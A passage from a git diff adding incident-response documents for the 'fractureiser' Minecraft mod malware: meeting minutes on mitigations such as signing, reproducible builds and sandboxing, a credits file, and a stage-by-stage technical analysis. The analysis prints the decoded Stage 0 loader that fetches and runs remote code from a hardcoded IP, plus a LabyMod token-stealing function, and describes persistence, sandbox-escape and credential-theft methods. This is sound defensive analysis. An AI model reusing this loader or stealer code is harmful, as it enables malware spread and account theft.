run on an another computer, the infection will spread. Compromised Curseforge login tokens were used to gain access to large mod projects and distribute infected jars to users. + +Discussion and responses to the issue began in earnest on June 6th. Samples were gradually discovered, identified, and decompiled. The source of the payloads that propogate the malware and steal passwords/tokens was identified, and swiftly taken down by its host, Serverion. Infected jars are no longer able to progress or propogate the malware, but infections from prior to the node being taken down may still be active. + +At time of writing, samples continue to be reverse engineered in the hopes that, should the attackers attempt to create a new iteration of the malware, its command and control nodes can be taken down as quickly as possible. On June 7th, the attacker attempted to create a new node, which was again swiftly taken down by its host. A web URL pointing to this now-defunct node has been found, and is being actively monitored. + +## Agenda + +We have about an hour so let's spend 15 minutes on each topic max. I've organized the +topics by my (williewillus') sense of how likely something actionable is to happen. The +less realistic something is the lower down it is. If time constrains us, we may drop those +topics. + +### Opaque Review Processes/Security by Obscurity + +#### Discussion and Action Items + +- What does CurseForge/Modrinth *do* when reviewing a mod? + - Insert "what do you do here" meme :) +- What automated checks *are* being run? + - ? +- What automated checks *should* be put in place? + - Static analysis? + - Can we get mod repos to commit to these action plans? +- Semi-OT: Can we get a checksum algorithm that is not MD5 on CF please? MD5 has been + known broken for years and this made us wary of attempted editing/collision attacks for + longer than necessary + - What does Modrinth use? + +Minutes: + +Fury: CEO of overwolf. Eng is working on mitigations, so I'm here + Re: checks. From a high-level perspective. Don't want to be too open about the checks + because people can find ways to bypass. Understand that the ambiguity is a concern, + will share as much as I can. + All mods have auto checks. Manual checks for some. + Technically, start by running antivirus/antimalware scans. Check file type/adherence to file structure. + API actually supports SHA-1. + More clientside improvements to enforce this in a good way. + Manual checks when an auto check flags it, human reviews the mod. Changing text/images also involves manual review. + Continuously evolving process, have updated automated tests to look for this vuln. + +Emi: Moving to modrinth to keep things quick + +Geo/Jay: Founder of Modrinth. Our moderation is pretty robust. + New project: manual review. Check description, images. Also check the source code, esp. for new/unknown authors. + Closed source, will occasionally decompile mods, but not often. + Checks on backend for file structure. + Malware in modded mc is generally never detected by antivirus. + Have rejected mods in the past for suspicious code. + Understand this process is flawed. After initial review, we rely on reports afterwards. + Our code is open source, we want a transparent tool the community can use. + Relies on community trust (known author), but this is also flawed. + +Emi: When you check open source mods, do you verify the source corresponds to the jar? + +Geo: No, but we could do something where users can upload the source for a verified badge, +like what npm has recently does. Might not be most ideal. + +Emi: Which hash is used by Modrinth + +Geo: We use SHA-1/SHA-512. Avaiable in API. Launcher we're building validates +them. Rehashed all files in SHA-512 a year ago. + + + +### Reproducible Builds + +One thing that would have helped in the "scanning for tampered mods" part of the response, +was if we knew a specific mod version only had one possible binary output. That is, +reproducible builds given a source checkout. We could have simply rebuilt the mod in +question from source, taken its hash, and compared it to the file under scrutiny to detect +stage 0 infection, rather than going through the complicated exercise of trying to scan +for signatures in the code. + +How many of our mods have build scripts plugins or deps with unpinned floating +`-SNAPSHOT` version specifiers in them? + +I'm willing to bet all of them, because both +[Fabric](https://github.com/FabricMC/fabric-example-mod/blob/1.20/build.gradle#L2) and +[Forge](https://github.com/MinecraftForge/MinecraftForge/blob/1.19.x/mdk/build.gradle#L4) +have example mods that do just that. + +Gradle plugins like Loom and FG traditionally did this so that they could push fixes and +iterate quickly without user action, but it's important now to have auditability. + +Supply chain attacks from random modding Mavens being hacked is a very real threat. + +#### Discussion and Action Items + +- Stop promoting usage of `-SNAPSHOT` in example templates and documentation in favor of + fixed version numbers +- Update fabric-example-mod and forge MDK example to use Gradle checksum verification and/or locking? + - https://docs.gradle.org/current/userguide/dependency_verification.html + - This is the traditional "write hashes into a file and check them" lockfile approach + - https://docs.gradle.org/current/userguide/dependency_locking.html + - This is "lock any ranged dependency declarations like `[1, 2)` to one specific + version until told to update" +- Stand up a working group in Loom/FG to investigate reproducible builds when the gradle + [flag](https://docs.gradle.org/current/userguide/working_with_files.html#sec:reproducible_archives) + is set. There may be nondeterminism introduced by parts of the modding toolchain such as + jar remappers. Each instance needs to be rooted out such that a mod builds reproducibly + out of the box. +- Crazy idea: F-Droid style, submit source and it gets built by the mod repo? + - Expensive capacity wise, unlikely to happen. + +Starchild: For Quilt, one issue here is signing. We can't reproduce a signature. + +willie: But if the signature is distributed separately, should be fine? + +Geo: We can never be 100% secure. We can spend a lot of time reviewing every file. One +important thing is accessibility. Many people don't know how Gradle works/what +reproducible builds are. Template mods exist, but even code signing is hard for mobile devs. +We get thousands of submissions a day. + +Fury: One thing we suggest, for authors that opt to go through extra verification have a +tag on their mod for gamers to see to increase trust. + +### Mods Downloading External Files + +Mods that download external files which contain executable code are vulnerable to a supply chain attack. + +Some existing examples of mods that do this are: +- [Essential](https://modrinth.com/mod/essential) + - Automatic updater downloads any updates without prompting user. If the Essential + update servers are compromised, the malicious code will be downloaded upon launching + minecraft. +- Mods depending on [owolib](https://modrinth.com/mod/owo-lib), such as [gadget](https://modrinth.com/mod/gadget) + - Will prompt the user to download owo-lib, which will download the jar from + modrinth. If a malicious jar is added to modrinth with the correct version, it can + perform a supply chain attack. + +Should one of the more popular mods, such as Essential, be compromised, it would allow malware to quickly propagate to millions of users. + +#### Discussion and Action Items + +- Should mods uploaded to platforms (Modrinth, CurseForge, etc.) be permitted to download + files containing executable code from external sources? + - I think no, but how would we enforce this? Start the game with the mod and check it + doesn't download anything new into the mods folder? + +Fury: Manually review when we see this pattern happen + +willie: But you can push malicious code later + +Fury: look at the author's reputation and other attributes of safety. + +Starchild: Not too down to ban downloading everything from the internet. See some +legitimate usecases. We can mark the mod on the platform as downloading external code. +Can have policies like must do over https, etc. We can draft it in the community. + +willie: Clarification: I mean talking about downloading code, not data + +Lambda: TODO(willie i missed first half) Quilt had a proposal to do dependency +downloading. More generally, only allow downloading of things that were predeclared +(e.g. with a hash). Even if we allow mods that do this, I will still stay suspicious. + +### Code Signing + +Binary artifacts released to mod repos should be signed by their author. + +Templates and help docs for e.g. Fabric Loom and ForgeGradle should make the UX as easy as +possible to: + +- Build releases in CI +- Sign jars in CI at build time +- Upload the signed jars to mod repos in CI + +Moving release creation to CI is already more than what many modders do (most people don't +even tag their releases). Keep in mind many modders are amateur programmers that have not +worked in industry and don't know what any of this is. + +I can't stress how important it is for this to be as well documented, easy, and +ready-to-use as possible this is, or else no one will use it. + +Eventually, mod repos should require signatures for every single upload and reject any +unsigned artifact outright. This will need a rollout period, and still require good +education materials. + +#### Discussion and Action Items + +- Where should public keys be held and associated with their authors? In other words, what + prevents a hacker from replacing a public key as well as the signed binary at the same + time? + - In the modrinth user account (behind 2fa)? + - Without organization accounts this can be annoying for mods that can be uploaded by + multiple people? + - If Modrinth is compromised a hacker can replace the pubkey and uploade a new signed + binary at the same time +- PGP signing or java jarsigner stuff? + - PGP is the standard and used for Maven Central. My impression is no one uses the java + specific stuff. OpenSSH signing is also an option but is much newer and has no + established ecosystem. PGP is probably the best choice, unfortunately. We can automate + away all the crappy parts of it with helpers in Gradle plugins. +- Prior art + - Forge has had support for signature stuff for years and it's gone unused. What can we + learn from it? +- Launchers should likely include UI elements to indicate mod signature verification status. +- Immediate followups + - Modrinth and CurseForge design how public key association/storage will work + - Mod loaders write extensive documentation about how to: + 1. Create releases in CI using git tags + 2. Automatically sign and upload artifacts from CI + +Emi: this doesn't necessitate a required process + +Starchild: What do we want to prevent here and where? Mod repo can just associate a key +with the user and require it in upload, but enforcement/verification can also happen in +the loader. + +Jasmine: I recently uploaded to Maven Central which enforces code signing. Process was +mostly painless via buildscripts, hardest part was finding the docs. + +Emi: Relaying from text chat, what is the point of signing? The main reason is for +identifying actors. + +cpw: Wrote codesigning for Forge, been there around 10y. It might have detected stage0 and +probably stage3 if the signature wasn't stripped. We've wanted people to do it. Most +people in Forge use it these days. Fingerprints for signatures show up in debug logs, +etc. That's the primary purpose. IMO needs to be pushed a layer up. There is no mechanism +to distribute trust. A modder can tell their *own* jar is good, but the user doesn't. That +requires a trust authority in the mc ecosystem. Setting one is a complex endeavour. Only +viable actor is CF and Modrinth, since they already track the stuff you need to track. +1 +on badging on the mod repos. Doing it on the clientside? We're far too late for that at +the moment. If the entire ecosystem was signed, we could revisit. + +Emi: Is it possible to have a collaboratively controlled third party CA? Adding two steps +is a bit much. + +cpw: You can sign with multiple CA's at once, so that isn't necessary + +Fury: We can look into it. + +cpw: If you're committing to it, that's awesome :) + +Geo: IMO would be best if a trusted third party does it. Diff platforms have diff +policies. Modrinth interested in this as well, but we have to move carefully. + +Emi: Are you willing to work with CurseForge for a third party CA? + +Geo: Yeah. Everyone should put their differences aside for security, even though Modrinth +wasn't affected it still was indirectly since " + +cpw: Would be nice to see movement after 10y + +### Sandboxing + +Sandboxing the Minecraft process is another defense strategy that can be used to limit the +blast radius of attacks coming from malicious mod code. + +In general, it's a hard problem. + +Minecraft should only need access to: + +- The internet, to authenticate, log into servers, etc. +- Filesystem access to the `.minecraft` instance folder and its recursive descendants + +The main thing of interest to lock down here is filesystem access. + +On Windows, there does not seem to be any simple to deploy sandboxing system (besides +"play bedrock"). The closest is Chromium's +[model](https://chromium.googlesource.com/chromium/src/+/master/docs/design/sandbox.md) +which would require significant invasive changes to the game. + +On macOS, we *could* use Apple's built in sandboxing system known as ["Seatbelt"](https://www.chromium.org/developers/design-documents/sandbox/osx-sandboxing-design/). It is already enforced in apple's app store, but not external apps like Minecraft. However it is still not possible to use it to restrict network access to certain sites. +Below is a image which shows its file permission config which we can use to restrict its access. This could prove to be good enough for what is needed to limit malware and attacks from the code. +![image](media/sandboxfile.png) + + +On Linux, we have a couple options. First is SELinux/AppArmor. These frameworks are +infamous for being insanely hard to configure and as a result have not been widely +deployed. However, the policies we seek are quite simple, so it's possible this could be +an avenue. + +In OpenBSD parlance, all we want to do is [`unveil(2)`](https://man.openbsd.org/unveil) to +all paths in the instance root, but unfortunately this interface isn't available in Linux. + +Second, is using a system such as Flatpak. + + +timoreo: Executing untrusted code is always unsafe, regardless of what sandboxing you +have. Sandboxing is always your last resort. We have a flatpak of Prism which is sandboxed +and restricts a lot of access. Prevented this specific attack. Can be difficult, e.g. you +might think you can restrict mic, but what if a mod adding voice chat wants it? Needs to +be restricted but allow freedom for modders. Linux has a lot of techniques, can restrict +pretty much everything. + +ZekeZ: Main issue is Windows and macOS, especially Windows. + +Emi: Concern for several mods. Locking down fs access can be problematic for mods that +want global instance-independent configs + +ZekeZ: What was the problem with EMI? + +Emi: There is a user-facing option to store stuff in ~/.minecraft instead of the instance +local one + +timoreo: You can case-by-case allow files. Anyways, what about network? + +--- + +Recap + +kennytv: Hi from Paper. Some overlap with modding, and have our own plugin repo. Would be +interested in one maintainable scanner for identifying current malware. There is a bunch +right now. On signing, Sponge also had that for a while. They basically gave on it, +because people didn't know how to use it. Very hard to get novices to understand it. + +Lambda: Would like to see mod hosting to add more 2FA. Or even only allowing API/CI to +upload. That can be a bit annoying but can avoid token stealing resulting in bad +uploads. Currently don't know if Modrinth has 2fa. CurseForge has it but only for +payouts. Want to see this expanded. + +Geo: Were working on 2fa before this started. Will also allow scoped tokens (e.g. unsigned +builds only from this token, signed builds only from this token) 2fa has a flaw which is +your session token is still vulnerable to compromise. LTT YouTube was compromised by +this. Planning on launching new auth stuff in a couple of weeks. + +Emi: To point out, LPS authors did have 2fa. + +willie: Reiterating the point about building, signing, releasing **in CI** + +Geo: one thing platforms to do is a general checklist when they're first uploading a +project. On Modrinth we have a guide for literally everything. When we added descriptions +and icons to the new upload checklist, rates of doing so jumped up. + +Emi: Recently implemented CI publishing. Just copied another Github workflow file. This +isn't maintainable. + +Lambda: CI is not a thing a first time modder will do. There's a learning curve to +modding: experimentation, then publishing, then fix stuff after you get popular. It's very +daunting for a beginner due to lack of documentation *for modding workflows*. CI not +really in the example mod templates. + +Jared: Host the BlameJared maven with lots of projects. Encourage people to use CI as much +as possible. Default MDK just publishes artifact, not even source. Need more examples and +guides to set up jenkins, etc. + +willie: GH Actions is probably easier for beginners than Jenkins no? + +Jared: Not familiar with GH does it now. All files on my maven are built locally, not sure +how remote publishing would work. + +Emi: For a lot of mods, Maven is not strictly necessary. Can use CurseMaven/Modrinth's +maven. Useful for mods that don't intentionally expose themselves as API's. + +willie: +1 that Maven's are second order, most mods are leaf content mods that don't need +Maven publishing. + +Jared: CurseMaven is not a long term option. No one noticed, but CurseGradle has been +taken off Github. Its source is gone. Nobody has noticed or spoken up about it. + +willie: overall action item recap + +Fury: Thanks everyone. Overwolf has grown over the years. Some folks reached out and +provided valuable information. If you have further information, feel free to contact us it +would help a lot. diff --git a/lang/cs/docs/credits.md b/lang/cs/docs/credits.md new file mode 100644 index 00000000..cda55191 --- /dev/null +++ b/lang/cs/docs/credits.md @@ -0,0 +1,15 @@ +## Credits +Nonextensive! Thank you to all that pitched in. We'll flesh this out after this all blows over. + +[**Emi**](https://github.com/emilyploszaj/): Coordination, initial discovery (for this team), and early research +[**Jasmine**](https://github.com/jaskarth/): Coordination, writing the decompiler we've been using ([Quiltflower](https://github.com/QuiltMC/quiltflower/)) +[**unascribed**](https://github.com/unascribed/): Coordination of documentation, crowd control +[**williewillus**](https://github.com/williewillus/): Coordination, journalist +[**Vazkii**](https://github.com/vazkii/): Documentation, public communications +[**Col-E**](https://github.com/Col-E/): Reverse engineering, writing the deobfuscator we've been using ([Recaf](https://www.coley.software/Recaf/)) +[**quat**](https://github.com/quat1024/): Documentation, initial infected sample research +[**cortex**](https://github.com/mcrcortex/): Reverse engineering +[**aurelium**](https://github.com/autumnaurelium/): Coordination, deobfuscation +[**D3SL**](https://github.com/D3SL/): Extensive reverse engineering, early discovery learned of later +[**Luna Pixel Studios**](https://lunapixelstudios.github.io/): Quick detection of unauthorized uploads +**Nia**: Extensive Stage 3 reverse engineering \ No newline at end of file diff --git a/lang/cs/docs/media/flowchart.png b/lang/cs/docs/media/flowchart.png new file mode 100644 index 00000000..5a55b40c Binary files /dev/null and b/lang/cs/docs/media/flowchart.png differ diff --git a/lang/cs/docs/media/localappdata.png b/lang/cs/docs/media/localappdata.png new file mode 100644 index 00000000..c5e1128b Binary files /dev/null and b/lang/cs/docs/media/localappdata.png differ diff --git a/lang/cs/docs/media/logo.svg b/lang/cs/docs/media/logo.svg new file mode 100644 index 00000000..13348252 --- /dev/null +++ b/lang/cs/docs/media/logo.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/lang/cs/docs/media/sandboxfile.png b/lang/cs/docs/media/sandboxfile.png new file mode 100644 index 00000000..619d16eb Binary files /dev/null and b/lang/cs/docs/media/sandboxfile.png differ diff --git a/lang/cs/docs/media/stages.png b/lang/cs/docs/media/stages.png new file mode 100644 index 00000000..b4b20aca Binary files /dev/null and b/lang/cs/docs/media/stages.png differ diff --git a/lang/cs/docs/media/unhide.mp4 b/lang/cs/docs/media/unhide.mp4 new file mode 100644 index 00000000..c96fafd2 Binary files /dev/null and b/lang/cs/docs/media/unhide.mp4 differ diff --git a/lang/cs/docs/tech.md b/lang/cs/docs/tech.md new file mode 100644 index 00000000..d56e9f05 --- /dev/null +++ b/lang/cs/docs/tech.md @@ -0,0 +1,368 @@ +# Technical info + +## Distribution + +Some modpacks have had updates published for them without the knowledge of the authors, adding a dependency on malicious mods. These modpack updates were archived immediately after uploading, meaning they *do not show on the web UI, only via the API.* + +The malicious mods have upload dates multiple weeks in the past. Most of them were +uploaded by single-use accounts with clearly autogenerated names, and were likely the seed +of the infection. Luna Pixel Studios was compromised due to a dev testing one of these +mods, as it was an interesting new upload. + +### Known affected mods & plugins + +Note: This list is **non-comprehensive**. It was constructed in the early days of +investigation and quickly we realized the scope of this was much larger than we though, +making tracking of individual cases pointless. It's left here for historical purposes. + +See also CurseForge's +[list](https://support.curseforge.com/en/support/solutions/articles/9000228509-june-2023-infected-mods-detection-tool/) +of affected projects + +|mod/plugin|link(s)|SHA1|"Uploader"| +|---|---|---|---| +|Skyblock Core|[www.curseforge.com/minecraft/mc-mods/skyblock-core/files/4570565](https://www.curseforge.com/minecraft/mc-mods/skyblock-core/files/4570565) |`33677CA0E4C565B1F34BAA74A79C09A3B690BF41`|Luna Pixel Studios| +|Dungeonz|[legacy.curseforge.com/minecraft/mc-mods/dungeonx/files/4551100 (removed)](https://legacy.curseforge.com/minecraft/mc-mods/dungeonx/files/4551100) |`2DB855A7F40C015F8C9CA7CBAB69E1F1AAFA210B`|fractureiser| +|Haven Elytra|[dev.bukkit.org/projects/havenelytra/files/4551105 (removed)](https://dev.bukkit.org/projects/havenelytra/files/4551105) [legacy.curseforge.com/minecraft/bukkit-plugins/havenelytra/files/4551105 (removed)](https://legacy.curseforge.com/minecraft/bukkit-plugins/havenelytra/files/4551105) |`284A4449E58868036B2BAFDFB5A210FD0480EF4A`|fractureiser| +|Vault Integrations|[www.curseforge.com/minecraft/mc-mods/vault-integrations-bug-fix/files/4557590 (removed)](https://www.curseforge.com/minecraft/mc-mods/vault-integrations-bug-fix/files/4557590)|`0C6576BDC6D1B92D581C18F3A150905AD97FA080`|simpleharvesting82| +|AutoBroadcast|[www.curseforge.com/minecraft/mc-mods/autobroadcast/files/4567257 (removed)](https://www.curseforge.com/minecraft/mc-mods/autobroadcast/files/4567257)|`C55C3E9D6A4355F36B0710AB189D5131A290DF26`|shyandlostboy81| +|Museum Curator Advanced|[www.curseforge.com/minecraft/mc-mods/museum-curator-advanced/files/4553353 (removed)](https://www.curseforge.com/minecraft/mc-mods/museum-curator-advanced/files/4553353)|`32536577D5BB074ABD493AD98DC12CCC86F30172`|racefd16| +|Vault Integrations Bug fix|[www.curseforge.com/minecraft/mc-mods/vault-integrations-bug-fix/files/4557590 (removed)](https://www.curseforge.com/minecraft/mc-mods/vault-integrations-bug-fix/files/4557590)|`0C6576BDC6D1B92D581C18F3A150905AD97FA080`|simplyharvesting82 +|Floating Damage|[dev.bukkit.org/projects/floating-damage (removed)](https://dev.bukkit.org/projects/floating-damage)|`1d1aaccdc13244e980c0c024610ecc77ea2674a33a52129edf1bb4ce3b2cc2fc`|mamavergas3001 +|Display Entity Editor|[www.curseforge.com/minecraft/bukkit-plugins/display-entity-editor/files/4570122 (removed)](https://www.curseforge.com/minecraft/bukkit-plugins/display-entity-editor/files/4570122)|`A4B6385D1140C111549D95EAB25CB51922EEFBA2`|santa_faust_2120 + +Darkhax sent this: https://gist.github.com/Darkhax/d7f6d1b5bfb51c3c74d3bd1609cab51f + +potentially more: Sophisticated Core, Dramatic Doors, Moonlight lib, Union lib + +## Stage 0 (Infected mod jars) + +Affected mods or plugins have a new `static void` method inserted into their main class, and a call to this method is inserted into that class's static initializer. For DungeonZ, the method is named `_d1385bd3c36f464882460aa4f0484c53` and exists in `net.dungeonz.DungeonzMain`. For Skyblock Core, the method is named `_f7dba6a3a72049a78a308a774a847180` and is inserted into `com.bmc.coremod.BMCSkyblockCore`. For HavenElytra, the code is inserted directly into the otherwise-unused static initializer of `valorless.havenelytra.HavenElytra`. + +The method's code is obfuscated, using `new String(new byte[]{...})` instead of string literals. + +From D3SL sample of "Create Infernal Expansion Plus", a copycat version of "Create Infernal Expansion Compat" with malware inserted into the main mod class: +```java +static void _1685f49242dd46ef9c553d8af1a4e0bb() { + Class.forName(new String(new byte[] { + // "Utility" + 85, 116, 105, 108, 105, 116, 121 + }), true, (ClassLoader) Class.forName(new String(new byte[] { + // "java.net.URLClassLoader" + 106, 97, 118, 97, 46, 110, 101, 116, 46, 85, 82, 76, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114 + })).getConstructor(URL[].class).newInstance(new URL[] { + new URL(new String(new byte[] { + // "http" + 104, 116, 116, 112 + }), new String(new byte[] { + // "85.217.144.130" + 56, 53, 46, 50, 49, 55, 46, 49, 52, 52, 46, 49, 51, 48 + }), 8080, new String(new byte[] { + // "/dl" + 47, 100, 108 + })) + })).getMethod(new String(new byte[] { + // "run" + 114, 117, 110 + }), String.class).invoke((Object) null, "-114.-18.38.108.-100"); +} +``` + +This: +1. Creates a `URLClassLoader` with the URL `http://[85.217.144.130:8080]/dl` ([shodan](https://www.shodan.io/host/85.217.144.130)) +2. Loads the class `Utility` from the classloader, fetching code from the internet +3. Calls the `run` method on `Utility`, passing a String argument different for each infected mod (!). E.g. + * Skyblock Core: "`-74.-10.78.-106.12`" + * Dungeonz: "`114.-18.38.108.-100`" + * HavenElytra: "`-114.-18.38.108.-100`" + * Vault Integrations: "`-114.-18.38.108.-100`" + +The passed numerals are parsed as bytes by Stage 1 and written to a file named ".ref". They appear to be a way for the author to track infection sources. + +The creation of the classloader is hardcoded to that URL and does not use the Cloudflare URL that Stage 1 does. As that IP is now offline, this means the Stage 0 payloads *we are presently aware of* no longer function. + +## Stage 1 (`dl.jar`) + +SHA-1: `dc43c4685c3f47808ac207d1667cc1eb915b2d82` + +[Decompiled files from the Malware can be found here](../decomp). + +The very first thing `Utility.run` does is check if the system property `neko.run` is set. If it is, it will *immediately stop executing*. If not, it sets it to an empty string and continues. This appears to be the malware trying to avoid executing itself multiple times, such as if it had infected multiple mods. *This cannot be relied upon as a killswitch because Stage1 is downloaded from the Internet and may change.* + +It attempts to contact `85.217.144.130`, and a Cloudflare Pages domain (`https://files-8ie.pages.dev/ip`). Abuse reports have already been sent. The Pages domain is used to retrieve the IP of the C&C server if the first IP no longer responds — the URL responds with a binary representation of an IPv4 address. + +*The C&C IP has been nullrouted after an abuse report to the server provider. We will need to keep an eye on the Cloudflare page to see if a new C&C server is stood up, I can't imagine they didn't plan for this.* Thank you Serverion for your prompt response. + +*The Cloudflare Pages domain has been terminated.* There is a new C&C server located at `107.189.3.101`. + +Stage 1 then attempts to achieve persistence by doing the following: +1. Downloading Stage 2 (lib.jar on Linux, libWebGL64.jar on Windows) from the server +2. Making Stage 2 run automatically on startup: +* On Linux, it tries placing systemd unit files in `/etc/systemd/system` or `~/.config/systemd/user` + * The unit file it places in the user folder never works, because it tries using `multi-user.target`, which doesn't exist for user units +* On Windows, it attempts to modify the registry + (`HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run`) to start itself, or + failing that, tries adding itself to the `Windows\Start Menu\Programs\Startup` folder + +## Stage 2 (`lib.jar` or `libWebGL64.jar`) + +Known sha1 hashes: +* `52d08736543a240b0cbbbf2da03691ae525bb119` +* `6ec85c8112c25abe4a71998eb32480d266408863` (D3SL's earlier upload) + +Stage 2 is obfuscated with a demo version of the Allatori obfuscator, and its main class is called `Bootstrap`. +It additionally contains another class called named `h` which seems to be a simple communications class, but is empty +otherwise. You can view an attempt to reconstruct the source code at +https://gist.github.com/SilverAndro/a992f85bec29bb248c354ccf5d2206fe + +When launched it does the following: +1. Open port `9655` and add a shutdown hook to close it when the jvm closes. +2. Locate itself on disk and works next to itself +3. If `.ref` exists, it reads the identifier key from the file +4. Launches a loop to + 1. Checks with `https://[files-8ie.pages.dev]:8083/ip` for the server and attempts to connect to it + 2. Receives a flag for if the update check should continue, throwing if not (reported to the server on port `1338`) + 3. If so, receives a hash and checks it against `client.jar` if it exists, sending back a byte for if it wants to update + 4. If so, receives and overwrites/creates `client.jar`, hiding it using file attributes + 5. Loads and invokes the static method `dev.neko.nekoclient.Client#start(InetAddress, refFileBytes)` + 6. Sleeps for 5 seconds + +## Stage 3 (`client.jar`) + +sha-1: `c2d0c87a1fe99e3c44a52c48d8bcf65a67b3e9a5` +sha-1: `e299bf5a025f5c3fff45d017c3c2f467fa599915` + +`client.jar` is an incredibly obfuscated and complex bundle of code and contains both java and native code. + +It contains a native payload `hook.dll`, decompiled: https://gist.githubusercontent.com/NotNite/79ab1e5501e1ef109e8030059356b1b8/raw/c2102bf5ff74275ac44c2200d5121bfff652fd49/hook.dll.c + +There are two native functions meant to be called from Java, as they are JNI callable: +* `__int64 __fastcall Java_dev_neko_nekoclient_api_windows_WindowsHook_retrieveClipboardFiles(__int64 a1);` +* `__int64 __fastcall Java_dev_neko_nekoclient_api_windows_WindowsHook_retrieveMSACredentials(__int64 a1);` + +From analysis, these do what they say on the tin: +* Read clipboard contents +* Steal Microsoft account credentials + +There is also evidence of code attempting to do the following: +* Scan for *all* jar files on the system that look like Minecraft mods (by detecting + Forge/Fabric/Quilt/Bukkit), or [declare a Main + class](https://github.com/clrxbl/NekoClient/blob/main/dev/neko/nekoclient/Client.java#L235-L244) + (most plain Java programs) and attempt to inject Stage 0 into them +* Steal cookies and login information for many web browsers +* Replace cryptocurrency addresses in the clipboard with alternates that are presumably owned by the attacker +* Steal Discord credentials +* Steal Microsoft and Minecraft credentials, from a variety of launchers +* Steal crypto wallets + +Jars are heuristically detected as Minecraft mods or plugins as follows: +* Forge (`dev/neko/e/e/e/A`): The malware attempts to locate the `@Mod` annotation, which is required in every mod +* Bukkit (`dev/neko/e/e/e/C`): The malware checks if a class extends Bukkit's `JavaPlugin` class +* Fabric/Quilt (`dev/neko/e/e/e/i`): The malware checks if a class implements `ModInitializer` +* Bungee (`dev/neko/e/e/e/l`): The malware checks if a class extends Bungee's `Plugin` class +* Vanilla (`dev/neko/e/e/e/c`): The malware checks if the main client class `net.minecraft.client.main.Main` exists + +## Stage3 (`unobf-client.jar`) + +Around 2023-06-07 14:20 UTC the stage3 client jar was seemingly accidentally replaced with an unobfuscated version. You can find the archive here: https://github.com/clrxbl/NekoClient + +This validates the suspected behavior/evidence from the analysis done on the prior obfuscated `client.jar` sample. + +### Replication + +Replication is handled through automatic processing of classes in jar files across the entire filesystem on the local machine. Any jar file that contains classes meeting certain critera is subject for infection. The process of scanning the local file system and injecting malicious code can be found here: [`dev/neko/nekoclient/Client.start(InetSocketAddress, byte[])`](https://github.com/clrxbl/NekoClient/blob/main/dev/neko/nekoclient/Client.java#L273) + +The critera that the process looks for can be found here: [`dev/neko/nekoinjector/template/impl`](https://github.com/clrxbl/NekoClient/tree/main/dev/neko/nekoinjector/template/impl) + +* `BungeecordPluginTemplate` looks for the interface `net/md_5/bungee/api/plugin/Plugin` in classes +* `FabricModTemplate` looks for the interface `net/fabricmc/api/ModInitializer` in classes +* `ForgeModTemplate` looks for the annotation `net/minecraftforge/fml/common/Mod` in classes +* `MinecraftClientTemplate` looks for the existence of `net/minecraft/client/main/Main.class` and `net/minecraft/client/gui/GuiMultiplayer.class` in the jar +* `SpigotPluginTemplate` looks for the super-type `org/bukkit/plugin/java/JavaPlugin` in classes +* If none of the above match the class, [it will attempt to infect the main class of the jar file](https://github.com/clrxbl/NekoClient/blob/main/dev/neko/nekoclient/Client.java#L235-L244) - if one exists. + +The malicious code injected is the backdoor logic seen in Stage0. The way that injection works is that the malicious code is declared in the `Loader` class in a static method. The `Injector` class that is adjacent to it is responsible for extracting the code from `Loader` and inserting it into new classes targeted for infection. The return value of `Injector.loadInstallerNode(...)` is a `MethodNode` outlining the infection process itself. Now they just need to add that method to the targeted class. Back in the [`dev/neko/nekoclient/Client.start(InetSocketAddress, byte[])`](https://github.com/clrxbl/NekoClient/blob/main/dev/neko/nekoclient/Client.java#L272) they call `Entry.inject(MethodNode)` to achive this. To ensure the malicious method is invoked this `inject` method adds logic to the targeted class's static initializer that invokes the added method. Since the static initializer is run when the class first loads, and the target class is a plugin/mod the assumption is this code will always be triggered by users who run infected modpacks or servers. After this, they repackage the jar with the newly infected target class. + +### Anti-sandbox tricks + +Something not commonly seen in JVM malware that is present here is a class titled `VMEscape`. It checks if its in [Windows Sandbox](https://learn.microsoft.com/en-us/windows/security/application-security/application-isolation/windows-sandbox/windows-sandbox-overview) by checking if the current user is `WDAGUtilityAccount`. If this condition is met, an attempt to escape Windows Sandbox is made. + +The process is roughly as follows: + +- Start a repeating thread to run the following actions: + - Create a temporary directory using `Files.createTempDirectory(...)` + - Iterate over `FileDescriptor` entries in the system clipboard which mirrors the hosts clipboard + - Create a shortcut that looks like the original file _(using icons from SHELL32)_ but instead invokes the malware + - Assings this shortcut to the clipboard, overwriting the original file reference + +Thus, if a user copies a file and goes to paste it elsewhere they will instead paste a shortcut that looks like their intended file, but actually runs the malware. + +### Data theft + +**MSA Tokens**: Since this mod is targeting Minecraft mods, its only natural to attempt to steal the MSA token used to login to Minecraft with. Some launchers keep this data in a local file, which this malware will attempt to read from. This affects a variety of launchers such as: + +* The vanilla/mojang launcher +* The legacy vanilla/mojang launcher +* PolyMC / Prism +* Technic +* Feather +* LabyMod (< v3.9.59) +* And any MSA token found in the [Windows Credential Manager](https://support.microsoft.com/en-us/windows/accessing-credential-manager-1b5c916a-6a16-889f-8581-fc16e8165ac0) + +The retrival logic (Seen in [`dev/neko/nekoclient/api/stealer/msa/impl/MSAStealer.java`](https://github.com/clrxbl/NekoClient/blob/main/dev/neko/nekoclient/api/stealer/msa/impl/MSAStealer.java)) looks similar across a number of items since they store this data in a similr way. For example here is the laby-mod code: +```java +private static void retrieveRefreshTokensFromLabyMod(List refreshTokens) throws IOException { + String appdata = System.getenv("APPDATA"); + if (Platform.isWindows() || Objects.isNull(appdata)) { + Path path = appdata == null ? null : Paths.get(appdata, ".minecraft", "LabyMod", "accounts.json"); + if (Files.isReadable(path)) { + extractRefreshTokensFromLabyModLauncher(refreshTokens, Json.parse(Files.readString(path)).asObject()); + } + } +} +``` +The code for retrieving tokens from Feather/PolyMC/Prism are essentially identical. + +The change from this strategy to the vanilla launchers is that the Json has an additional layer of cryptography protecting it. + +The change from this strategy to technic is that technic stores credentials using Java's built-in object serialization, wrapping the `com.google.api.client.auth.oauth2.StoredCredential` type. + +**Discord tokens**: Everyone's seen a token-stealer before. Affects the standard client, canary, ptb, and lightcord clients. + +**Cookies & Saved credentials**: Steals saved cookies and login credentials saved in affected browsers. Relevant source: [`dev/neko/nekoclient/api/stealer/browser/impl/BrowserDataStealer.java`](https://github.com/clrxbl/NekoClient/blob/main/dev/neko/nekoclient/api/stealer/browser/impl/BrowserDataStealer.java) + +- Mozilla Firefox + - Waterfox + - Pale Moon + - SeaMonkey +- Chrome + - Edge + - Brave + - Vivaldi + - Yandex + - 